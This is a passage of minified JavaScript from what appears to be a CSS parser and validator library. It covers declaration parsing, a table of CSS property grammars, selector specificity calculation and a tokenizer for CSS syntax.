SyntaxUnit.fromToken(e);t.unget()}this._unexpectedToken(t.LT(1))},_skipCruft:function(){for(;this._tokenStream.match([Tokens.S,Tokens.CDO,Tokens.CDC]););},_readDeclarations:function(e,t){var i,n=this._tokenStream;this._readWhitespace(),e&&n.mustMatch(Tokens.LBRACE),this._readWhitespace();try{for(;;){if(n.match(Tokens.SEMICOLON)||t&&this._margin());else{if(!this._declaration())break;if(!n.match(Tokens.SEMICOLON))break}this._readWhitespace()}n.mustMatch(Tokens.RBRACE),this._readWhitespace()}catch(r){if(!(r instanceof SyntaxError)||this.options.strict)throw r;if(this.fire({type:"error",error:r,message:r.message,line:r.line,col:r.col}),i=n.advance([Tokens.SEMICOLON,Tokens.RBRACE]),i==Tokens.SEMICOLON)this._readDeclarations(!1,t);else if(i!=Tokens.RBRACE)throw r}},_readWhitespace:function(){for(var e=this._tokenStream,t="";e.match(Tokens.S);)t+=e.token().value;return t},_unexpectedToken:function(e){throw new SyntaxError("Unexpected token '"+e.value+"' at line "+e.startLine+", col "+e.startCol+".",e.startLine,e.startCol)},_verifyEnd:function(){this._tokenStream.LA(1)!=Tokens.EOF&&this._unexpectedToken(this._tokenStream.LT(1))},_validateProperty:function(e,t){Validation.validate(e,t)},parse:function(e){this._tokenStream=new TokenStream(e,Tokens),this._stylesheet()},parseStyleSheet:function(e){return this.parse(e)},parseMediaQuery:function(e){this._tokenStream=new TokenStream(e,Tokens);var t=this._media_query();return this._verifyEnd(),t},parsePropertyValue:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._expr();return this._readWhitespace(),this._verifyEnd(),t},parseRule:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._ruleset();return this._readWhitespace(),this._verifyEnd(),t},parseSelector:function(e){this._tokenStream=new TokenStream(e,Tokens),this._readWhitespace();var t=this._selector();return this._readWhitespace(),this._verifyEnd(),t},parseStyleAttribute:function(e){e+="}",this._tokenStream=new TokenStream(e,Tokens),this._readDeclarations()}};for(e in i)i.hasOwnProperty(e)&&(t[e]=i[e]);return t}();var Properties={"align-items":"flex-start | flex-end | center | baseline | stretch","align-content":"flex-start | flex-end | center | space-between | space-around | stretch","align-self":"auto | flex-start | flex-end | center | baseline | stretch","-webkit-align-items":"flex-start | flex-end | center | baseline | stretch","-webkit-align-content":"flex-start | flex-end | center | space-between | space-around | stretch","-webkit-align-self":"auto | flex-start | flex-end | center | baseline | stretch","alignment-adjust":"auto | baseline | before-edge | text-before-edge | middle | central | after-edge | text-after-edge | ideographic | alphabetic | hanging | mathematical | <percentage> | <length>","alignment-baseline":"baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical",animation:1,"animation-delay":{multi:"<time>",comma:!0},"animation-direction":{multi:"normal | alternate",comma:!0},"animation-duration":{multi:"<time>",comma:!0},"animation-fill-mode":{multi:"none | forwards | backwards | both",comma:!0},"animation-iteration-count":{multi:"<number> | infinite",comma:!0},"animation-name":{multi:"none | <ident>",comma:!0},"animation-play-state":{multi:"running | paused",comma:!0},"animation-timing-function":1,"-moz-animation-delay":{multi:"<time>",comma:!0},"-moz-animation-direction":{multi:"normal | alternate",comma:!0},"-moz-animation-duration":{multi:"<time>",comma:!0},"-moz-animation-iteration-count":{multi:"<number> | infinite",comma:!0},"-moz-animation-name":{multi:"none | <ident>",comma:!0},"-moz-animation-play-state":{multi:"running | paused",comma:!0},"-ms-animation-delay":{multi:"<time>",comma:!0},"-ms-animation-direction":{multi:"normal | alternate",comma:!0},"-ms-animation-duration":{multi:"<time>",comma:!0},"-ms-animation-iteration-count":{multi:"<number> | infinite",comma:!0},"-ms-animation-name":{multi:"none | <ident>",comma:!0},"-ms-animation-play-state":{multi:"running | paused",comma:!0},"-webkit-animation-delay":{multi:"<time>",comma:!0},"-webkit-animation-direction":{multi:"normal | alternate",comma:!0},"-webkit-animation-duration":{multi:"<time>",comma:!0},"-webkit-animation-fill-mode":{multi:"none | forwards | backwards | both",comma:!0},"-webkit-animation-iteration-count":{multi:"<number> | infinite",comma:!0},"-webkit-animation-name":{multi:"none | <ident>",comma:!0},"-webkit-animation-play-state":{multi:"running | paused",comma:!0},"-o-animation-delay":{multi:"<time>",comma:!0},"-o-animation-direction":{multi:"normal | alternate",comma:!0},"-o-animation-duration":{multi:"<time>",comma:!0},"-o-animation-iteration-count":{multi:"<number> | infinite",comma:!0},"-o-animation-name":{multi:"none | <ident>",comma:!0},"-o-animation-play-state":{multi:"running | paused",comma:!0},appearance:"icon | window | desktop | workspace | document | tooltip | dialog | button | push-button | hyperlink | radio-button | checkbox | menu-item | tab | menu | menubar | pull-down-menu | pop-up-menu | list-menu | radio-group | checkbox-group | outline-tree | range | field | combo-box | signature | password | normal | none | inherit",azimuth:function(e){var t,i="<angle> | leftwards | rightwards | inherit",n="left-side | far-left | left | center-left | center | center-right | right | far-right | right-side",r=!1,o=!1;if(ValidationTypes.isAny(e,i)||(ValidationTypes.isAny(e,"behind")&&(r=!0,o=!0),ValidationTypes.isAny(e,n)&&(o=!0,r||ValidationTypes.isAny(e,"behind"))),e.hasNext())throw t=e.next(),o?new ValidationError("Expected end of value but found '"+t+"'.",t.line,t.col):new ValidationError("Expected (<'azimuth'>) but found '"+t+"'.",t.line,t.col)},"backface-visibility":"visible | hidden",background:1,"background-attachment":{multi:"<attachment>",comma:!0},"background-clip":{multi:"<box>",comma:!0},"background-color":"<color> | inherit","background-image":{multi:"<bg-image>",comma:!0},"background-origin":{multi:"<box>",comma:!0},"background-position":{multi:"<bg-position>",comma:!0},"background-repeat":{multi:"<repeat-style>"},"background-size":{multi:"<bg-size>",comma:!0},"baseline-shift":"baseline | sub | super | <percentage> | <length>",behavior:1,binding:1,bleed:"<length>","bookmark-label":"<content> | <attr> | <string>","bookmark-level":"none | <integer>","bookmark-state":"open | closed","bookmark-target":"none | <uri> | <attr>",border:"<border-width> || <border-style> || <color>","border-bottom":"<border-width> || <border-style> || <color>","border-bottom-color":"<color> | inherit","border-bottom-left-radius":"<x-one-radius>","border-bottom-right-radius":"<x-one-radius>","border-bottom-style":"<border-style>","border-bottom-width":"<border-width>","border-collapse":"collapse | separate | inherit","border-color":{multi:"<color> | inherit",max:4},"border-image":1,"border-image-outset":{multi:"<length> | <number>",max:4},"border-image-repeat":{multi:"stretch | repeat | round",max:2},"border-image-slice":function(e){var t,i=!1,n="<number> | <percentage>",r=!1,o=0,s=4;for(ValidationTypes.isAny(e,"fill")&&(r=!0,i=!0);e.hasNext()&&s>o&&(i=ValidationTypes.isAny(e,n));)o++;if(r?i=!0:ValidationTypes.isAny(e,"fill"),e.hasNext())throw t=e.next(),i?new ValidationError("Expected end of value but found '"+t+"'.",t.line,t.col):new ValidationError("Expected ([<number> | <percentage>]{1,4} && fill?) but found '"+t+"'.",t.line,t.col)},"border-image-source":"<image> | none","border-image-width":{multi:"<length> | <percentage> | <number> | auto",max:4},"border-left":"<border-width> || <border-style> || <color>","border-left-color":"<color> | inherit","border-left-style":"<border-style>","border-left-width":"<border-width>","border-radius":function(e){for(var t,i=!1,n="<length> | <percentage> | inherit",r=!1,o=0,s=8;e.hasNext()&&s>o;){if(i=ValidationTypes.isAny(e,n),!i){if(!("/"==e.peek()&&o>0)||r)break;r=!0,s=o+5,e.next()}o++}if(e.hasNext())throw t=e.next(),i?new ValidationError("Expected end of value but found '"+t+"'.",t.line,t.col):new ValidationError("Expected (<'border-radius'>) but found '"+t+"'.",t.line,t.col)},"border-right":"<border-width> || <border-style> || <color>","border-right-color":"<color> | inherit","border-right-style":"<border-style>","border-right-width":"<border-width>","border-spacing":{multi:"<length> | inherit",max:2},"border-style":{multi:"<border-style>",max:4},"border-top":"<border-width> || <border-style> || <color>","border-top-color":"<color> | inherit","border-top-left-radius":"<x-one-radius>","border-top-right-radius":"<x-one-radius>","border-top-style":"<border-style>","border-top-width":"<border-width>","border-width":{multi:"<border-width>",max:4},bottom:"<margin-width> | inherit","-moz-box-align":"start | end | center | baseline | stretch","-moz-box-decoration-break":"slice |clone","-moz-box-direction":"normal | reverse | inherit","-moz-box-flex":"<number>","-moz-box-flex-group":"<integer>","-moz-box-lines":"single | multiple","-moz-box-ordinal-group":"<integer>","-moz-box-orient":"horizontal | vertical | inline-axis | block-axis | inherit","-moz-box-pack":"start | end | center | justify","-webkit-box-align":"start | end | center | baseline | stretch","-webkit-box-decoration-break":"slice |clone","-webkit-box-direction":"normal | reverse | inherit","-webkit-box-flex":"<number>","-webkit-box-flex-group":"<integer>","-webkit-box-lines":"single | multiple","-webkit-box-ordinal-group":"<integer>","-webkit-box-orient":"horizontal | vertical | inline-axis | block-axis | inherit","-webkit-box-pack":"start | end | center | justify","box-shadow":function(e){var t;if(ValidationTypes.isAny(e,"none")){if(e.hasNext())throw t=e.next(),new ValidationError("Expected end of value but found '"+t+"'.",t.line,t.col)}else Validation.multiProperty("<shadow>",e,!0,1/0)},"box-sizing":"content-box | border-box | inherit","break-after":"auto | always | avoid | left | right | page | column | avoid-page | avoid-column","break-before":"auto | always | avoid | left | right | page | column | avoid-page | avoid-column","break-inside":"auto | avoid | avoid-page | avoid-column","caption-side":"top | bottom | inherit",clear:"none | right | left | both | inherit",clip:1,color:"<color> | inherit","color-profile":1,"column-count":"<integer> | auto","column-fill":"auto | balance","column-gap":"<length> | normal","column-rule":"<border-width> || <border-style> || <color>","column-rule-color":"<color>","column-rule-style":"<border-style>","column-rule-width":"<border-width>","column-span":"none | all","column-width":"<length> | auto",columns:1,content:1,"counter-increment":1,"counter-reset":1,crop:"<shape> | auto",cue:"cue-after | cue-before | inherit","cue-after":1,"cue-before":1,cursor:1,direction:"ltr | rtl | inherit",display:"inline | block | list-item | inline-block | table | inline-table | table-row-group | table-header-group | table-footer-group | table-row | table-column-group | table-column | table-cell | table-caption | grid | inline-grid | none | inherit | -moz-box | -moz-inline-block | -moz-inline-box | -moz-inline-grid | -moz-inline-stack | -moz-inline-table | -moz-grid | -moz-grid-group | -moz-grid-line | -moz-groupbox | -moz-deck | -moz-popup | -moz-stack | -moz-marker | -webkit-box | -webkit-inline-box | -ms-flexbox | -ms-inline-flexbox | flex | -webkit-flex | inline-flex | -webkit-inline-flex","dominant-baseline":1,"drop-initial-after-adjust":"central | middle | after-edge | text-after-edge | ideographic | alphabetic | mathematical | <percentage> | <length>","drop-initial-after-align":"baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical","drop-initial-before-adjust":"before-edge | text-before-edge | central | middle | hanging | mathematical | <percentage> | <length>","drop-initial-before-align":"caps-height | baseline | use-script | before-edge | text-before-edge | after-edge | text-after-edge | central | middle | ideographic | alphabetic | hanging | mathematical","drop-initial-size":"auto | line | <length> | <percentage>","drop-initial-value":"initial | <integer>",elevation:"<angle> | below | level | above | higher | lower | inherit","empty-cells":"show | hide | inherit",filter:1,fit:"fill | hidden | meet | slice","fit-position":1,flex:"<flex>","flex-basis":"<width>","flex-direction":"row | row-reverse | column | column-reverse","flex-flow":"<flex-direction> || <flex-wrap>","flex-grow":"<number>","flex-shrink":"<number>","flex-wrap":"nowrap | wrap | wrap-reverse","-webkit-flex":"<flex>","-webkit-flex-basis":"<width>","-webkit-flex-direction":"row | row-reverse | column | column-reverse","-webkit-flex-flow":"<flex-direction> || <flex-wrap>","-webkit-flex-grow":"<number>","-webkit-flex-shrink":"<number>","-webkit-flex-wrap":"nowrap | wrap | wrap-reverse","-ms-flex":"<flex>","-ms-flex-align":"start | end | center | stretch | baseline","-ms-flex-direction":"row | row-reverse | column | column-reverse | inherit","-ms-flex-order":"<number>","-ms-flex-pack":"start | end | center | justify","-ms-flex-wrap":"nowrap | wrap | wrap-reverse","float":"left | right | none | inherit","float-offset":1,font:1,"font-family":1,"font-size":"<absolute-size> | <relative-size> | <length> | <percentage> | inherit","font-size-adjust":"<number> | none | inherit","font-stretch":"normal | ultra-condensed | extra-condensed | condensed | semi-condensed | semi-expanded | expanded | extra-expanded | ultra-expanded | inherit","font-style":"normal | italic | oblique | inherit","font-variant":"normal | small-caps | inherit","font-weight":"normal | bold | bolder | lighter | 100 | 200 | 300 | 400 | 500 | 600 | 700 | 800 | 900 | inherit","grid-cell-stacking":"columns | rows | layer","grid-column":1,"grid-columns":1,"grid-column-align":"start | end | center | stretch","grid-column-sizing":1,"grid-column-span":"<integer>","grid-flow":"none | rows | columns","grid-layer":"<integer>","grid-row":1,"grid-rows":1,"grid-row-align":"start | end | center | stretch","grid-row-span":"<integer>","grid-row-sizing":1,"hanging-punctuation":1,height:"<margin-width> | <content-sizing> | inherit","hyphenate-after":"<integer> | auto","hyphenate-before":"<integer> | auto","hyphenate-character":"<string> | auto","hyphenate-lines":"no-limit | <integer>","hyphenate-resource":1,hyphens:"none | manual | auto",icon:1,"image-orientation":"angle | auto","image-rendering":1,"image-resolution":1,"inline-box-align":"initial | last | <integer>","justify-content":"flex-start | flex-end | center | space-between | space-around","-webkit-justify-content":"flex-start | flex-end | center | space-between | space-around",left:"<margin-width> | inherit","letter-spacing":"<length> | normal | inherit","line-height":"<number> | <length> | <percentage> | normal | inherit","line-break":"auto | loose | normal | strict","line-stacking":1,"line-stacking-ruby":"exclude-ruby | include-ruby","line-stacking-shift":"consider-shifts | disregard-shifts","line-stacking-strategy":"inline-line-height | block-line-height | max-height | grid-height","list-style":1,"list-style-image":"<uri> | none | inherit","list-style-position":"inside | outside | inherit","list-style-type":"disc | circle | square | decimal | decimal-leading-zero | lower-roman | upper-roman | lower-greek | lower-latin | upper-latin | armenian | georgian | lower-alpha | upper-alpha | none | inherit",margin:{multi:"<margin-width> | inherit",max:4},"margin-bottom":"<margin-width> | inherit","margin-left":"<margin-width> | inherit","margin-right":"<margin-width> | inherit","margin-top":"<margin-width> | inherit",mark:1,"mark-after":1,"mark-before":1,marks:1,"marquee-direction":1,"marquee-play-count":1,"marquee-speed":1,"marquee-style":1,"max-height":"<length> | <percentage> | <content-sizing> | none | inherit","max-width":"<length> | <percentage> | <content-sizing> | none | inherit","min-height":"<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats | inherit","min-width":"<length> | <percentage> | <content-sizing> | contain-floats | -moz-contain-floats | -webkit-contain-floats | inherit","move-to":1,"nav-down":1,"nav-index":1,"nav-left":1,"nav-right":1,"nav-up":1,opacity:"<number> | inherit",order:"<integer>","-webkit-order":"<integer>",orphans:"<integer> | inherit",outline:1,"outline-color":"<color> | invert | inherit","outline-offset":1,"outline-style":"<border-style> | inherit","outline-width":"<border-width> | inherit",overflow:"visible | hidden | scroll | auto | inherit","overflow-style":1,"overflow-wrap":"normal | break-word","overflow-x":1,"overflow-y":1,padding:{multi:"<padding-width> | inherit",max:4},"padding-bottom":"<padding-width> | inherit","padding-left":"<padding-width> | inherit","padding-right":"<padding-width> | inherit","padding-top":"<padding-width> | inherit",page:1,"page-break-after":"auto | always | avoid | left | right | inherit","page-break-before":"auto | always | avoid | left | right | inherit","page-break-inside":"auto | avoid | inherit","page-policy":1,pause:1,"pause-after":1,"pause-before":1,perspective:1,"perspective-origin":1,phonemes:1,pitch:1,"pitch-range":1,"play-during":1,"pointer-events":"auto | none | visiblePainted | visibleFill | visibleStroke | visible | painted | fill | stroke | all | inherit",position:"static | relative | absolute | fixed | inherit","presentation-level":1,"punctuation-trim":1,quotes:1,"rendering-intent":1,resize:1,rest:1,"rest-after":1,"rest-before":1,richness:1,right:"<margin-width> | inherit",rotation:1,"rotation-point":1,"ruby-align":1,"ruby-overhang":1,"ruby-position":1,"ruby-span":1,size:1,speak:"normal | none | spell-out | inherit","speak-header":"once | always | inherit","speak-numeral":"digits | continuous | inherit","speak-punctuation":"code | none | inherit","speech-rate":1,src:1,stress:1,"string-set":1,"table-layout":"auto | fixed | inherit","tab-size":"<integer> | <length>",target:1,"target-name":1,"target-new":1,"target-position":1,"text-align":"left | right | center | justify | inherit","text-align-last":1,"text-decoration":1,"text-emphasis":1,"text-height":1,"text-indent":"<length> | <percentage> | inherit","text-justify":"auto | none | inter-word | inter-ideograph | inter-cluster | distribute | kashida","text-outline":1,"text-overflow":1,"text-rendering":"auto | optimizeSpeed | optimizeLegibility | geometricPrecision | inherit","text-shadow":1,"text-transform":"capitalize | uppercase | lowercase | none | inherit","text-wrap":"normal | none | avoid",top:"<margin-width> | inherit","-ms-touch-action":"auto | none | pan-x | pan-y","touch-action":"auto | none | pan-x | pan-y",transform:1,"transform-origin":1,"transform-style":1,transition:1,"transition-delay":1,"transition-duration":1,"transition-property":1,"transition-timing-function":1,"unicode-bidi":"normal | embed | isolate | bidi-override | isolate-override | plaintext | inherit","user-modify":"read-only | read-write | write-only | inherit","user-select":"none | text | toggle | element | elements | all | inherit","vertical-align":"auto | use-script | baseline | sub | super | top | text-top | central | middle | bottom | text-bottom | <percentage> | <length>",visibility:"visible | hidden | collapse | inherit","voice-balance":1,"voice-duration":1,"voice-family":1,"voice-pitch":1,"voice-pitch-range":1,"voice-rate":1,"voice-stress":1,"voice-volume":1,volume:1,"white-space":"normal | pre | nowrap | pre-wrap | pre-line | inherit | -pre-wrap | -o-pre-wrap | -moz-pre-wrap | -hp-pre-wrap","white-space-collapse":1,widows:"<integer> | inherit",width:"<length> | <percentage> | <content-sizing> | auto | inherit","word-break":"normal | keep-all | break-all","word-spacing":"<length> | normal | inherit","word-wrap":"normal | break-word","writing-mode":"horizontal-tb | vertical-rl | vertical-lr | lr-tb | rl-tb | tb-rl | bt-rl | tb-lr | bt-lr | lr-bt | rl-bt | lr | rl | tb | inherit","z-index":"<integer> | auto | inherit",zoom:"<number> | <percentage> | normal"}; PropertyName.prototype=new SyntaxUnit,PropertyName.prototype.constructor=PropertyName,PropertyName.prototype.toString=function(){return(this.hack?this.hack:"")+this.text},PropertyValue.prototype=new SyntaxUnit,PropertyValue.prototype.constructor=PropertyValue,PropertyValueIterator.prototype.count=function(){return this._parts.length},PropertyValueIterator.prototype.isFirst=function(){return 0===this._i},PropertyValueIterator.prototype.hasNext=function(){return this._i<this._parts.length},PropertyValueIterator.prototype.mark=function(){this._marks.push(this._i)},PropertyValueIterator.prototype.peek=function(e){return this.hasNext()?this._parts[this._i+(e||0)]:null},PropertyValueIterator.prototype.next=function(){return this.hasNext()?this._parts[this._i++]:null},PropertyValueIterator.prototype.previous=function(){return this._i>0?this._parts[--this._i]:null},PropertyValueIterator.prototype.restore=function(){this._marks.length&&(this._i=this._marks.pop())},PropertyValuePart.prototype=new SyntaxUnit,PropertyValuePart.prototype.constructor=PropertyValuePart,PropertyValuePart.fromToken=function(e){return new PropertyValuePart(e.value,e.startLine,e.startCol)};var Pseudos={":first-letter":1,":first-line":1,":before":1,":after":1};Pseudos.ELEMENT=1,Pseudos.CLASS=2,Pseudos.isElement=function(e){return 0===e.indexOf("::")||Pseudos[e.toLowerCase()]==Pseudos.ELEMENT},Selector.prototype=new SyntaxUnit,Selector.prototype.constructor=Selector,SelectorPart.prototype=new SyntaxUnit,SelectorPart.prototype.constructor=SelectorPart,SelectorSubPart.prototype=new SyntaxUnit,SelectorSubPart.prototype.constructor=SelectorSubPart,Specificity.prototype={constructor:Specificity,compare:function(e){var t,i,n=["a","b","c","d"];for(t=0,i=n.length;i>t;t++){if(this[n[t]]<e[n[t]])return-1;if(this[n[t]]>e[n[t]])return 1}return 0},valueOf:function(){return 1e3*this.a+100*this.b+10*this.c+this.d},toString:function(){return this.a+","+this.b+","+this.c+","+this.d}},Specificity.calculate=function(e){function t(e){var i,n,r,l,c,h=e.elementName?e.elementName.text:"";for(h&&"*"!=h.charAt(h.length-1)&&a++,i=0,r=e.modifiers.length;r>i;i++)switch(c=e.modifiers[i],c.type){case"class":case"attribute":s++;break;case"id":o++;break;case"pseudo":Pseudos.isElement(c.text)?a++:s++;break;case"not":for(n=0,l=c.args.length;l>n;n++)t(c.args[n])}}var i,n,r,o=0,s=0,a=0;for(i=0,n=e.parts.length;n>i;i++)r=e.parts[i],r instanceof SelectorPart&&t(r);return new Specificity(0,o,s,a)};var h=/^[0-9a-fA-F]$/,nonascii=/^[\u0080-\uFFFF]$/,nl=/\n|\r\n|\r|\f/;TokenStream.prototype=mix(new TokenStreamBase,{_getToken:function(){var e,t=this._reader,i=null,n=t.getLine(),r=t.getCol();for(e=t.read();e;){switch(e){case"/":i="*"==t.peek()?this.commentToken(e,n,r):this.charToken(e,n,r);break;case"|":case"~":case"^":case"$":case"*":i="="==t.peek()?this.comparisonToken(e,n,r):this.charToken(e,n,r);break;case'"':case"'":i=this.stringToken(e,n,r);break;case"#":i=isNameChar(t.peek())?this.hashToken(e,n,r):this.charToken(e,n,r);break;case".":i=isDigit(t.peek())?this.numberToken(e,n,r):this.charToken(e,n,r);break;case"-":i="-"==t.peek()?this.htmlCommentEndToken(e,n,r):isNameStart(t.peek())?this.identOrFunctionToken(e,n,r):this.charToken(e,n,r);break;case"!":i=this.importantToken(e,n,r);break;case"@":i=this.atRuleToken(e,n,r);break;case":":i=this.notToken(e,n,r);break;case"<":i=this.htmlCommentStartToken(e,n,r);break;case"U":case"u":if("+"==t.peek()){i=this.unicodeRangeToken(e,n,r);break}default:i=isDigit(e)?this.numberToken(e,n,r):isWhitespace(e)?this.whitespaceToken(e,n,r):isIdentStart(e)?this.identOrFunctionToken(e,n,r):this.charToken(e,n,r)}break}return i||null!==e||(i=this.createToken(Tokens.EOF,null,n,r)),i},createToken:function(e,t,i,n,r){var o=this._reader;return r=r||{},{value:t,type:e,channel:r.channel,endChar:r.endChar,hide:r.hide||!1,startLine:i,startCol:n,endLine:o.getLine(),endCol:o.getCol()}},atRuleToken:function(e,t,i){var n,r=e,o=this._reader,s=Tokens.CHAR;return o.mark(),n=this.readName(),r=e+n,s=Tokens.type(r.toLowerCase()),(s==Tokens.CHAR||s==Tokens.UNKNOWN)&&(r.length>1?s=Tokens.UNKNOWN_SYM:(s=Tokens.CHAR,r=e,o.reset())),this.createToken(s,r,t,i)},charToken:function(e,t,i){var n=Tokens.type(e),r={};return-1==n?n=Tokens.CHAR:r.endChar=Tokens[n].endChar,this.createToken(n,e,t,i,r)},commentToken:function(e,t,i){var n=(this._reader,this.readComment(e));return this.createToken(Tokens.COMMENT,n,t,i)},comparisonToken:function(e,t,i){var n=this._reader,r=e+n.read(),o=Tokens.type(r)||Tokens.CHAR;return this.createToken(o,r,t,i)},hashToken:function(e,t,i){var n=(this._reader,this.readName(e));return this.createToken(Tokens.HASH,n,t,i)},htmlCommentStartToken:function(e,t,i){var n=this._reader,r=e;return n.mark(),r+=n.readCount(3),"<!--"==r?this.createToken(Tokens.CDO,r,t,i):(n.reset(),this.charToken(e,t,i))},htmlCommentEndToken:function(e,t,i){var n=this._reader,r=e;return n.mark(),r+=n.readCount(2),"-->"==r?this.createToken(Tokens.CDC,r,t,i):(n.reset(),this.charToken(e,t,i))},identOrFunctionToken:function(e,t,i){var n=this._reader,r=this.readName(e),o=Tokens.IDENT;return"("==n.peek()?(r+=n.read(),"url("==r.toLowerCase()?(o=Tokens.URI,r=this.readURI(r),"url("==r.toLowerCase()&&(o=Tokens.FUNCTION)):o=Tokens.FUNCTION):":"==n.peek()&&"progid"==r.toLowerCase()&&(r+=n.readTo("("),o=Tokens.IE_FUNCTION),this.createToken(o,r,t,i)},importantToken:function(e,t,i){var n,r,o=this._reader,s=e,a=Tokens.CHAR;for(o.mark(),r=o.read();r;){if("/"==r){if("*"!=o.peek())break;if(n=this.readComment(r),""===n)break}else{if(!isWhitespace(r)){if(/i/i.test(r)){n=o.readCount(8),/mportant/i.test(n)&&(s+=r+n,a=Tokens.IMPORTANT_SYM);break}break}s+=r+this.readWhitespace()}r=o.read()}return a==Tokens.CHAR?(o.reset(),this.charToken(e,t,i)):this.createToken(a,s,t,i)},notToken:function(e,t,i){var n=this._reader,r=e;return n.mark(),r+=n.readCount(4),":not("==r.toLowerCase()?this.createToken(Tokens.NOT,r,t,i):(n.reset(),this.charToken(e,t,i))},numberToken:function(e,t,i){var n,r=this._reader,o=this.readNumber(e),s=Tokens.NUMBER,a=r.peek();return isIdentStart(a)?(n=this.readName(r.read()),o+=n,s=/^em$|^ex$|^px$|^gd$|^rem$|^vw$|^vh$|^vmax$|^vmin$|^ch$|^cm$|^mm$|^in$|^pt$|^pc$/i.test(n)?Tokens.LENGTH:/^deg|^rad$|^grad$/i.test(n)?Tokens.ANGLE:/^ms$|^s$/i.test(n)?Tokens.TIME:/^hz$|^khz$/i.test(n)?Tokens.FREQ:/^dpi$|^dpcm$/i.test(n)?Tokens.RESOLUTION:Tokens.DIMENSION):"%"==a&&(o+=r.read(),s=Tokens.PERCENTAGE),this.createToken(s,o,t,i)},stringToken:function(e,t,i){for(var n=e,r=e,o=this._reader,s=e,a=Tokens.STRING,l=o.read();l&&(r+=l,l!=n||"\\"==s);){if(isNewLine(o.peek())&&"\\"!=l){a=Tokens.INVALID;break}s=l,l=o.read()}return null===l&&(a=Tokens.INVALID),this.createToken(a,r,t,i)},unicodeRangeToken:function(e,t,i){var n,r=this._reader,o=e,s=Tokens.CHAR;return"+"==r.peek()&&(r.mark(),o+=r.read(),o+=this.readUnicodeRangePart(!0),2==o.length?r.reset():(s=Tokens.UNICODE_RANGE,-1==o.indexOf("?")&&"-"==r.peek()&&(r.mark(),n=r.read(),n+=this.readUnicodeRangePart(!1),1==n.length?r.reset():o+=n))),this.createToken(s,o,t,i)},whitespaceToken:function(e,t,i){var n=(this._reader,e+this.readWhitespace());return this.createToken(Tokens.S,n,t,i)},readUnicodeRangePart:function(e){for(var t=this._reader,i="",n=t.peek();isHexDigit(n)&&6>i.length;)t.read(),i+=n,n=t.peek();if(e)for(;"?"==n&&6>i.length;)t.read(),i+=n,n=t.peek();return i},readWhitespace:function(){for(var e=this._reader,t="",i=e.peek();isWhitespace(i);)e.read(),t+=i,i=e.peek();return t},readNumber:function(e){for(var t=this._reader,i=e,n="."==e,r=t.peek();r;){if(isDigit(r))i+=t.read();else{if("."!=r)break;if(n)break;n=!0,i+=t.read()}r=t.peek()}return i},readString:function(){for(var e=this._reader,t=e.read(),i=t,n=t,r=e.peek();r&&(r=e.read(),i+=r,r!=t||"\\"==n);){if(isNewLine(e.peek())&&"\\"!=r){i="";break}n=r,r=e.peek()}return null===r&&(i=""),i},readURI:function(e){var t=this._reader,i=e,n="",r=t.peek();for(t.mark();r&&isWhitespace(r);)t.read(),r=t.peek();for(n="'"==r||'"'==r?this.readString():this.readURL(),r=t.peek();r&&isWhitespace(r);)t.read(),r=t.peek();return""===n||")"!=r?(i=e,t.reset()):i+=n+t.read(),i},readURL:function(){for(var e=this._reader,t="",i=e.peek();/^[!#$%&\\*-~]$/.test(i);)t+=e.read(),i=e.peek();return t},readName:function(e){for(var t=this._reader,i=e||"",n=t.peek();;)if("\\"==n)i+=this.readEscape(t.read()),n=t.peek();else{if(!n||!isNameChar(n))break;i+=t.read(),n=t.peek()}return i},readEscape:function(e){var t=this._reader,i=e||"",n=0,r=t.peek();if(isHexDigit(r))do i+=t.read(),r=t.peek();while(r&&isHexDigit(r)&&6>++n);return 3==i.length&&/\s/.test(r)||7==i.length||1==i.length?t.read():r="",i+r},readComment:function(e){var t=this._reader,i=e||"",n=t.read();if("*"==n){for(;n;){if(i+=n,i.length>2&&"*"==n&&"/"==t.peek()){i+=t.read();break}n=t.read()}return i}return""}});var Tokens=[{name:"CDO"},{name:"CDC"},{name:"S",whitespace:!0},{name:"COMMENT",comment:!0,hide:!0,channel:"comment"},{name:"INCLUDES",text:"~="},{name:"DASHMATCH",text:"|="},{name:"PREFIXMATCH",text:"^="},{name:"SUFFIXMATCH",text:"$="},{name:"SUBSTRINGMATCH",text:"*="},{name:"STRING"},{name:"IDENT"},{name:"HASH"},{name:"IMPORT_SYM",text:"@import"},{name:"PAGE_SYM",text:"@page"},{name:"MEDIA_SYM",text:"@media"},{name:"FONT_FACE_SYM",text:"@font-face"},{name:"CHARSET_SYM",text:"@charset"},{name:"NAMESPACE_SYM",text:"@namespace"},{name:"VIEWPORT_SYM",text:["@viewport","@-ms-viewport"]},{name:"UNKNOWN_SYM"},{name:"KEYFRAMES_SYM",text:["@keyframes","@-webkit-keyframes","@-moz-keyframes","@-o-keyframes"]},{name:"IMPORTANT_SYM"},{name:"LENGTH"},{name:"ANGLE"},{name:"TIME"},{name:"FREQ"},{name:"DIMENSION"},{name:"PERCENTAGE"},{name:"NUMBER"},{name:"URI"},{name:"FUNCTION"},{name:"UNICODE_RANGE"},{name:"INVALID"},{name:"PLUS",text:"+"},{name:"GREATER",text:">"},{name:"COMMA",text:","},{name:"TILDE",text:"~"},{name:"NOT"},{name:"TOPLEFTCORNER_SYM",text:"@top-left-corner"},{name:"TOPLEFT_SYM",text:"@top-left"},{name:"TOPCENTER_SYM",text:"@top-center"},{name:"TOPRIGHT_SYM",text:"@top-right"},{name:"TOPRIGHTCORNER_SYM",text:"@top-right-corner"},{name:"BOTTOMLEFTCORNER_SYM",text:"@bottom-left-corner"},{name:"BOTTOMLEFT_SYM",text:"@bottom-left"},{name:"BOTTOMCENTER_SYM",text:"@bottom-center"},{name:"BOTTOMRIGHT_SYM",text:"@bottom-right"},{name:"BOTTOMRIGHTCORNER_SYM",text:"@bottom-right-corner"},{name:"LEFTTOP_SYM",text:"@left-top"},{name:"LEFTMIDDLE_SYM",text:"@left-middle"},{name:"LEFTBOTTOM_SYM",text:"@left-bottom"},{name:"RIGHTTOP_SYM",text:"@right-top"},{name:"RIGHTMIDDLE_SYM",text:"@right-middle"},{name:"RIGHTBOTTOM_SYM",text:"@right-bottom"},{name:"RESOLUTION",state:"media"},{name:"IE_FUNCTION"},{name:"CHAR"},{name:"PIPE",text:"|"},{name:"S